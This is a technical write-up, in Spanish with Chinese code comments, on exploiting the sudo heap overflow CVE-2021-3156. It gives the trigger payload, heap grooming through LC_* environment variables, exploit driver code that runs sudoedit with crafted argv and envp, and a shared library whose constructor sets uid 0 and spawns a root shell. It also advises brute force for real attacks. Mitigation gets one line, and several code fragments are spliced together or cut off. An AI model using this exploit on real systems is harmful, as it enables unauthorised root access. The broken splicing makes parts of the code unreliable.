Consulte más adelante para contenido relacionado con depuración [algunos comandos de depuración](#一些调试命令)


## Principio de la vulnerabilidad

payload de activación de vulnerabilidad```shell
sudoedit -s '\' `python3 -c "print('A'*80)"`

··· ···
··· ···

/* Parse command line arguments. */
//在这里处理输入参数，设置sudo_mode
sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);

··· ···
··· ···
    
switch (sudo_mode & MODE_MASK) {
··· ···
··· ···
case MODE_EDIT:
case MODE_RUN:
    ok = policy_check(&policy_plugin, nargc, nargv, env_add,
	&command_info, &argv_out, &user_env_out);
    ··· ···
    ··· ···
}

··· ···
··· ···

- Primero, se llama a la función parse_args para procesar los parámetros que ingresamos, en realidad aquí solo ingresamos un `-s`, no hay nada que configurar, se establece sudo_mode en MODE_EDIT y MODE_SHELL.

- Luego, dependiendo de sudo_mode, MODE_EDIT llama a policy_check

A continuación, la función policy_check en sudo.c (sudo.c: 1136):```c
static int
policy_check(struct plugin_container *plugin, int argc, char * const argv[],
    char *env_add[], char **command_info[], char **argv_out[],
    char **user_env_out[])
{
    ··· ···
    ··· ···
    ret = plugin->u.policy->check_policy(argc, argv, env_add, command_info,
	argv_out, user_env_out);
    ···
}

exec_args.argv = argv_out;
exec_args.envp = user_env_out;
exec_args.info = command_infop;

ret = sudoers_policy_main(argc, argv, 0, env_add, &exec_args);
··· ···
··· ···

Luego se invoca la función sudoers_policy_main en sudoers.c (sudoers.c: 224):```c
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
    void *closure)
{
    ··· ···
    ··· ···

    /*
     * Make a local copy of argc/argv, with special handling
     * for pseudo-commands and the '-i' option.
     */
    if (argc == 0) {
	··· ···
    } else {
	/* Must leave an extra slot before NewArgv for bash's --login */
	NewArgc = argc;
	NewArgv = reallocarray(NULL, NewArgc + 2, sizeof(char *));
	··· ···
	}
	memcpy(++NewArgv, argv, argc * sizeof(char *));
	NewArgv[NewArgc] = NULL;
	··· ···
	}
    }
	··· ···
    cmnd_status = set_cmnd();
    ··· ···
    ··· ···
    ··· ···
}

/* set user_args */
if (NewArgc > 1) {
    char *to, *from, **av;
    size_t size, n;

    /* Alloc and build up user_args. */
    //根据参数总长度计算size， 后续malloc 申请，没有问题
    for (size = 0, av = NewArgv + 1; *av; av++)
	size += strlen(*av) + 1;
    if (size == 0 || (user_args = malloc(size)) == NULL) {
	sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
	debug_return_int(-1);
    }
    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
	/*
	 * When running a command via a shell, the sudo front-end
	 * escapes potential meta chars.  We unescape non-spaces
	 * for sudoers matching and logging purposes.
	 */
     //将所有参数拷贝到一起放到堆中，逻辑是遇到'\'加非空格类型字符则只拷贝非空格字符
     //但这里\x00 并不算空格类型字符
     //他没有考虑参数如果只有一个'\'或以'\'结尾并且下两个字符后就是另一个字符串情况
	for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
	    while (*from) {
		if (from[0] == '\\' && !isspace((unsigned char)from[1]))
		    from++;
		*to++ = *from++;
	    }
	    *to++ = ' ';
	}
	*--to = '\0';
    } 
    ··· ···
}
}
··· ···
··· ···

El desbordamiento también ocurre aquí, según se puede ver en los comentarios del código, el desbordamiento del montón ocurre al copiar al montón. La intención original de este código no es difícil de entender: copiar todos los parámetros de NewArgv al montón, separados por espacios, y cuando se encuentra `\+<carácter no espaciado>`, solo copiar ese carácter.

**Pero no considera un caso: si un elemento de NewArgv termina con `\`, entonces es una estructura como `\+\x00`, y `\x00` no pertenece a la clase de caracteres espaciados (¡increíble!). Esto significa que, después de copiar `\x00` al montón, la variable `from` se incrementa (dos veces en un bucle) y se salta la oportunidad de que el bucle while termine con el marcador `\x00`, pensando que los parámetros no se han copiado por completo y continúa copiando hasta encontrar el siguiente `\x00`.**

En este escenario se puede ver que `\+\x00` va seguido inmediatamente del siguiente parámetro `A*80`, por lo que continúa copiando hasta el final de `A*80`. Pero no hay que olvidar que luego se procesará realmente el parámetro `A*80`, y se copiará de nuevo, por lo que aquí se copian dos veces `A*80`, pero el chunk se asignó según el tamaño de solo una cadena `A*80`, mucho menor que la longitud copiada.

image-20220123113907744

Luego se produce el desbordamiento, antes de copiar:

image-20220123114036691

Después de copiar:

image-20220123114137794

La ruta general de activación de la vulnerabilidad es (al depurar, basta con poner puntos de interrupción directamente según estas funciones):

- sudo.c : main
  - sudo.c : policy_check
    - policy.c : sudoerrs_policy_check
      - sudoers.c : sudoers_policy_main
        - sudoers.c : set_cmnd
          - sudoers.c : 859

## Principio de explotación de la vulnerabilidad

Se ha consultado [blasty/CVE-2021-3156](https://github.com/blasty/CVE-2021-3156), **pero su método de disposición del montón es difícil de replicar; aquí se analiza en detalle el método de disposición del montón**. Mediante la variable de entorno `LC_*` se organiza el montón, y luego se hace que el chunk desbordado sobrescriba exactamente la estructura `service_user` que la función `nss_load_library` necesita cargar como `so`, sobrescribiendo la cadena del nombre del `so` en esa estructura, para que el programa cargue el `so` que especificamos y ejecute código arbitrario.

Aunque la lógica parece clara, los detalles a resolver son bastante complicados:

1. Estructuras de datos y mecanismos relevantes en `nss_load_library`
2. Cómo `setlocale` realiza la disposición del montón a través de la variable de entorno `LC_*`

A continuación, llamaremos al chunk donde ocurre el desbordamiento `vuln chunk`, y al objetivo del desbordamiento `target chunk`.

### Principio de nss

Primero, veamos el código clave de la explotación:

glibc/nss/nsswitch.c: 377 nss_load_library()```c
static int
nss_load_library (service_user *ni)
{
  if (ni->library == NULL)
    {
      static name_database default_table;
      ni->library = nss_new_service (service_table ?: &default_table,
				     ni->name);
      if (ni->library == NULL)
	return -1;
    }

  if (ni->library->lib_handle == NULL)
    {
      ··· ···
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
					      "libnss_"),
				    ni->name),
			  ".so"),
		__nss_shlib_revision);

      ni->library->lib_handle = __libc_dlopen (shlib_name);
      ··· ···
      ··· ···
  }
}

Este es un archivo de configuración, a través de las rutas y el orden registrados aquí (en realidad, qué archivos .so se utilizan) se buscan los métodos. También se puede especificar qué acción tomará el sistema cuando un método funcione o falle.

Lo que entiendo es que se establece de dónde debe recuperar la información el programa, como información de usuario, red, direcciones, etc. En el programa, esto se refleja en que la función se llama desde un archivo .so diferente. La implementación de esa función en diferentes archivos .so es el método para recuperar esa información.

A continuación, veamos tres estructuras:```c
typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

typedef struct name_database_entry
{
  /* And the link to the next entry.  */
  struct name_database_entry *next;
  /* List of service to be used.  */
  service_user *service;
  /* Name of the database.  */
  char name[0];
} name_database_entry;

typedef struct name_database
{
  /* List of all known databases.  */
  name_database_entry *entry;
  /* List of libraries with service implementation.  */
  service_library *library;
} name_database;

glibc/nss/nsswitch.c : 541```c
static name_database *
nss_parse_file (const char *fname)
{
  FILE *fp;
  name_database *result;
  name_database_entry *last;
  ··· ···
  //打开/etc/nsswitch.conf
  fp = fopen (fname, "rce");
  ··· ···
  result = (name_database *) malloc (sizeof (name_database));
  ··· ···
  do
    {
      name_database_entry *this;
      ssize_t n;
      n = __getline (&line, &len, fp);// getline 这里会申请一个0x80 大小的chunk
      
      ··· ···
          
      this = nss_getline (line);
      if (this != NULL)
	{
	  if (last != NULL)
	    last->next = this;
	  else
	    result->entry = this;

	  last = this;
	}
    }
  while (!feof_unlocked (fp));

  /* Free the buffer.  */
  free (line); //在函数返回之前会将getline 函数申请的0x80 chunk 释放掉。
  /* Close configuration file.  */
  fclose (fp);

  return result;
}

Primero se llama a `__nss_database_lookup` según el `DATABASE_NAME_STRING` pasado (cuyo contenido es passwd, group, shadow, etc.) para encontrar el servicio correspondiente: es decir, busca el área roja en la siguiente imagen para encontrar una coincidencia y devuelve un puntero de servicio. Si es la primera búsqueda y las entradas están vacías, se inicializarán (como se mencionó anteriormente).

image-20220123133933696

A continuación, se llama a `__nss_lookup` que a su vez llama en bucle a `__nss_lookup_function` para buscar, según la lista enlazada de servicios, la función correspondiente en el servicio. Luego se llama a `nss_load_library` para obtener el handle del SO y buscar la función correspondiente. El código es el siguiente:

glibc/nss/nsswitch.c : 194```c
int
__nss_lookup (service_user **ni, const char *fct_name, const char *fct2_name,
	      void **fctp)
{
  *fctp = __nss_lookup_function (*ni, fct_name);
  ··· ···
  while (*fctp == NULL
	 && nss_next_action (*ni, NSS_STATUS_UNAVAIL) == NSS_ACTION_CONTINUE
	 && (*ni)->next != NULL)
    {
      *ni = (*ni)->next;

      *fctp = __nss_lookup_function (*ni, fct_name);
      ··· ···
    }

  return *fctp != NULL ? 0 : (*ni)->next == NULL ? 1 : -1;
}
libc_hidden_def (__nss_lookup)

  if (ni->library->lib_handle == (void *) -1l)
    /* Library not found => function not found.  */
    result = NULL;
  else
    {
      ··· ···
          
      /* Construct the function name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (name, "_nss_"),
				    ni->name),
			  "_"),
		fct_name);

      /* Look up the symbol.  */
      result = __libc_dlsym (ni->library->lib_handle, name);
    }
    
    ··· ···
    ··· ···

}
···

Puede verse que, siempre que se llame a alguna función en `libnss_xxx.so`, se llamará a `nss_load_library`, incluso si el `.so` ya se ha cargado. Por lo tanto, según la idea del exploit conocido, **solo es necesario saber a qué `.so` pertenece la primera función relacionada con `libnss` que se invoca después de que ocurre el desbordamiento del montón, y luego, mediante la disposición del montón, colocar la estructura `service_user` correspondiente a ese `.so` justo después del chunk vulnerable**. Sin embargo, según mis pruebas en múltiples entornos, incluso con la misma versión, la estructura del código varía entre compilaciones propias y las distribuciones oficiales. Por lo tanto, aquí utilizaré mi propio entorno de depuración para reanalizar y redactar un exploit.

### Volver al entorno de depuración

El entorno de depuración que configuré (Docker) es sudo compilado por mí mismo, con símbolos de depuración. La información específica es la siguiente:```
ubuntu 18.04 LTS
libc-2.27
sudo 1.8.21

    if (newdata[category] == NULL)
      {//返回null 则会跳出循环
	···
	break;
      }

    ··· ···

    /* Make a copy of locale name.  */
    if (newnames[category] != _nl_C_name)
      {
	if (strcmp (newnames[category],
		    _nl_global_locale.__names[category]) == 0)
	  newnames[category] = _nl_global_locale.__names[category];
	else
	  {
        //这个strdup 很关键
	    newnames[category] = __strdup (newnames[category]);
	    if (newnames[category] == NULL)
	      break;
	  }
      }
  }

  /* Create new composite name.  */
  composite = (category >= 0
	   ? NULL : new_composite_name (LC_ALL, newnames));
  if (composite != NULL)
{
    ··· ···
}
  else
for (++category; category < __LC_LAST; ++category)//校验
  if (category != LC_ALL && newnames[category] != _nl_C_name
      && newnames[category] != _nl_global_locale.__names[category])
    //这个free 很关键，这里是一处循环free，可以集中free 一堆chunk
    free ((char *) newnames[category]);

  /* Critical section left.  */
  __libc_rwlock_unlock (__libc_setlocale_lock);

  /* Free the resources.  */
  free (locale_path);
  free (locale_copy);

  return composite;
}

··· ···
··· ···
  

La función `setlocale` está relacionada con algunos problemas de configuración regional, y los parámetros de variables de entorno relevantes son los siguientes:```c
#define __LC_CTYPE		 0
#define __LC_NUMERIC		 1
#define __LC_TIME		 2
#define __LC_COLLATE		 3
#define __LC_MONETARY		 4
#define __LC_MESSAGES		 5
#define __LC_ALL		 6
#define __LC_PAPER		 7
#define __LC_NAME		 8
#define __LC_ADDRESS		 9
#define __LC_TELEPHONE		10
#define __LC_MEASUREMENT	11
#define __LC_IDENTIFICATION	12

  if (locale_file == NULL)
return NULL;
}

En la función `_nl_find_locale`, primero se llama a la función `_nl_explode_name` que asigna valores a la máscara según el valor de la variable de entorno (como se indica en mis comentarios en el código). Principalmente se comprueba si existen país, idioma y sufijo personalizado por el usuario; si los hay, se establecen las máscaras correspondientes. En el caso del idioma, se establecen dos, totalizando cuatro. Luego, la llamada a la función `_nl_make_l0nflist` hace que `_nl_find_locale` devuelva vacío, lo que activa la ruptura del bucle en `setlocale` (importante).

A continuación, veamos la función `_nl_make_l0nflist`:

glibc/intl/l0nflist.c : 150```c
struct loaded_l10nfile *
_nl_make_l10nflist (struct loaded_l10nfile **l10nfile_list,
		    const char *dirlist, size_t dirlist_len,
		    int mask, const char *language, const char *territory,
		    const char *codeset, const char *normalized_codeset,
		    const char *modifier,
		    const char *filename, int do_allocate)
{
  char *abs_filename;
  struct loaded_l10nfile *last = NULL;
  struct loaded_l10nfile *retval;
  char *cp;
  size_t entries;
  int cnt;

  /* Allocate room for the full file name.  */
  //根据mask 的值会组成不同的文件路径，长度自然不同，根据长度申请chunk
  abs_filename = (char *) malloc (dirlist_len
				  + strlen (language)
				  + ((mask & XPG_TERRITORY) != 0
				     ? strlen (territory) + 1 : 0)
				  + ((mask & XPG_CODESET) != 0
				     ? strlen (codeset) + 1 : 0)
				  + ((mask & XPG_NORM_CODESET) != 0
				     ? strlen (normalized_codeset) + 1 : 0)
				  + ((mask & XPG_MODIFIER) != 0
				     ? strlen (modifier) + 1 : 0)
				  + 1 + strlen (filename) + 1);

  if (abs_filename == NULL)
    return NULL;

  retval = NULL;
  last = NULL;

  /* Construct file name.  */
  //根据文件名，也就是mask决定的内容进行拼接文件名
  memcpy (abs_filename, dirlist, dirlist_len);
  __argz_stringify (abs_filename, dirlist_len, ':');
  cp = abs_filename + (dirlist_len - 1);
  *cp++ = '/';
  cp = stpcpy (cp, language);

  if ((mask & XPG_TERRITORY) != 0)
    {
      *cp++ = '_';
      cp = stpcpy (cp, territory);
    }
  if ((mask & XPG_CODESET) != 0)
    {
      *cp++ = '.';
      cp = stpcpy (cp, codeset);
    }
  if ((mask & XPG_NORM_CODESET) != 0)
    {
      *cp++ = '.';
      cp = stpcpy (cp, normalized_codeset);
    }
  if ((mask & XPG_MODIFIER) != 0)
    {
      *cp++ = '@';
      cp = stpcpy (cp, modifier);
    }

  *cp++ = '/';
  stpcpy (cp, filename);

  ··· ···
  //如果已经已经存在同名文件，则释放刚申请的chunk
  if (retval != NULL || do_allocate == 0)
    {
      free (abs_filename);
      return retval;
    }

  retval = (struct loaded_l10nfile *)
    malloc (sizeof (*retval) + (__argz_count (dirlist, dirlist_len)
				* (1 << pop (mask))
				* sizeof (struct loaded_l10nfile *)));
  if (retval == NULL)
    {
      free (abs_filename);
      return NULL;
    }

  retval->filename = abs_filename;
  /* If more than one directory is in the list this is a pseudo-entry
     which just references others.  We do not try to load data for it,
     ever.  */
  retval->decided = (__argz_count (dirlist, dirlist_len) != 1
		     || ((mask & XPG_CODESET) != 0
			 && (mask & XPG_NORM_CODESET) != 0));
  retval->data = NULL;

  if (last == NULL)
    {
      retval->next = *l10nfile_list;
      *l10nfile_list = retval;
    }
  else
    {
      retval->next = last->next;
      last->next = retval;
    }

  entries = 0;
  /* If the DIRLIST is a real list the RETVAL entry corresponds not to
     a real file.  So we have to use the DIRLIST separation mechanism
     of the inner loop.  */
  //这里会进行递归的搜索，根据mask 来讲所有的组合全部找到
  //每次mask 值会-1，这样遍历所有mask可能
  cnt = __argz_count (dirlist, dirlist_len) == 1 ? mask - 1 : mask;
  for (; cnt >= 0; --cnt)
    if ((cnt & ~mask) == 0)
      {
	/* Iterate over all elements of the DIRLIST.  */
	char *dir = NULL;

	while ((dir = __argz_next ((char *) dirlist, dirlist_len, dir))
	       != NULL)
	  retval->successor[entries++]
	    = _nl_make_l10nflist (l10nfile_list, dir, strlen (dir) + 1, cnt,
				  language, territory, codeset,
				  normalized_codeset, modifier, filename, 1);
      }
  retval->successor[entries] = NULL;

  return retval;
}

其中dir(/usr/lib/locale)、language(C)、filename(环境变量名)都是固定的，钟括号中的内容根据mask 值可选生成。如：```
LC_IDENTIFICATION=C.UTF-8@AAAAAAAAAAA

Dependiendo del mask, puede generar:```
1011: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0000: /usr/lib/locale/C/LC_IDENTIFICATION
1111: /usr/lib/locale/C.UTF-8.utf8@AAAAAAAAAAA/LC_IDENTIFICATION
0111: /usr/lib/locale/C.UTF-8.utf8/LC_IDENTIFICATION

Calcular x, y tal que:```
(x+y)+(x+y)+(x+y+1)+(x+y-2)+... ...+(y+1) 刚好 < 0x650 
2x+y = 0xa0-0x10

Desde mi lado, la solución es:```
x=11
y=121

while ((signed int)(offset-len)<2)
{
    x--;
    y=size-1-x*2;
    len=x+y+(x+y+1)*x/2;
    if(x<0)
        return -1;
}
int envoff=offset-len-2+0x30;
printf("%d,%d,%d\n",x,y,len);
char * Astring=malloc(size);
int i=0;
for(i=0;i<y;i++)
    Astring[i]='A';
Astring[i]='\x00';

argv[argvnow++]="sudoedit";
argv[argvnow++]="-s";
for (i=0;i<x;i++)
    argv[argvnow++]="\\";
argv[argvnow++]=Astring;
argv[argvnow++]="\\";
argv[argvnow++]=NULL;
for(i=0;i<envoff;i++)
    envp[envnow++]="\\";
envp[envnow++]="X/test";
return 0;

execve("/usr/local/bin/sudoedit",argv,envp);

lib.c es como sigue:```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static void __attribute__ ((constructor)) _init(void);

static void _init(void) {
        printf("[+] bl1ng bl1ng! We got it!\n");
#ifndef BRUTE
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execv("/bin/sh", a_argv);
#endif
}

Éxito:

image-20220123115529219

### Método para modificar el exploit según el entorno específico

Principalmente para facilitar la investigación y depuración propias, no para ataques reales. Para ataques reales se recomienda la fuerza bruta. Es necesario conocer los siguientes puntos según el entorno:

1. Tamaño controlable de vuln, es decir, el free tcache que queda en setlocale, que no se consumirá antes de la solicitud de vuln. Se necesita encontrar un tamaño adecuado (correspondiente a 0xa0 en mi exploit).
2. Dónde colocar vuln, es decir, cuántos chunks de 0x40 hay antes y después del chunk vuln (correspondientes a varias funciones addChunk en mi función main del exploit).
3. Distancia desde el chunk objetivo hasta el chunk vuln, es decir, target chunk addr - vuln chunk addr (correspondiente a 0x650 en mi exploit).

Modificando los tres puntos anteriores, básicamente es muy probable que se tenga éxito directamente.

## Factores que afectan la explotación de vulnerabilidades

Hay muchos factores que afectan el diseño del montón. Incluso con la misma versión de sudo, diferentes opciones de compilación pueden cambiar el diseño del montón (si se agregan o eliminan funciones que participan en la asignación del montón antes del desbordamiento, es muy probable que cambie el diseño).

El diseño del montón de la versión de distribución y la versión compilada por uno mismo de sudo son diferentes.

También afectan las diferencias en los archivos de configuración global de sudo.

Archivos comunes como passwd también afectan.

El archivo nsswitch.conf diferente afecta.

La versión de glibc.

Otros entornos globales (o archivos de entorno).

## Medidas de mitigación

Actualizar a la última versión.

## Algunos comandos de depuración```
watch rwatch awatch 内存断点
catch exec
set follow-exec-mode new 调试exp 的时候捕获子进程

Observa la primera función nss llamada después del desbordamiento del montón, primero detén el punto de desbordamiento:```
b policy_check  #先断离溢出点比较近的位置，直接断溢出点找不到
c
b sudoers.c:849 #malloc前
b sudoers.c:859 #溢出chunk 刚申请完毕
b sudoers.c:867 #溢出完成
c #断住之后再断nss_load_library
b nss_load_library 
c #断nss_load_library
bt #查看调用栈

## Referencias

Blog de expertos internos de la empresa

52破解博客: https://www.52pojie.cn/thread-1439734-1-1.html

POC de blasty: https://github.com/blasty/CVE-2021-3156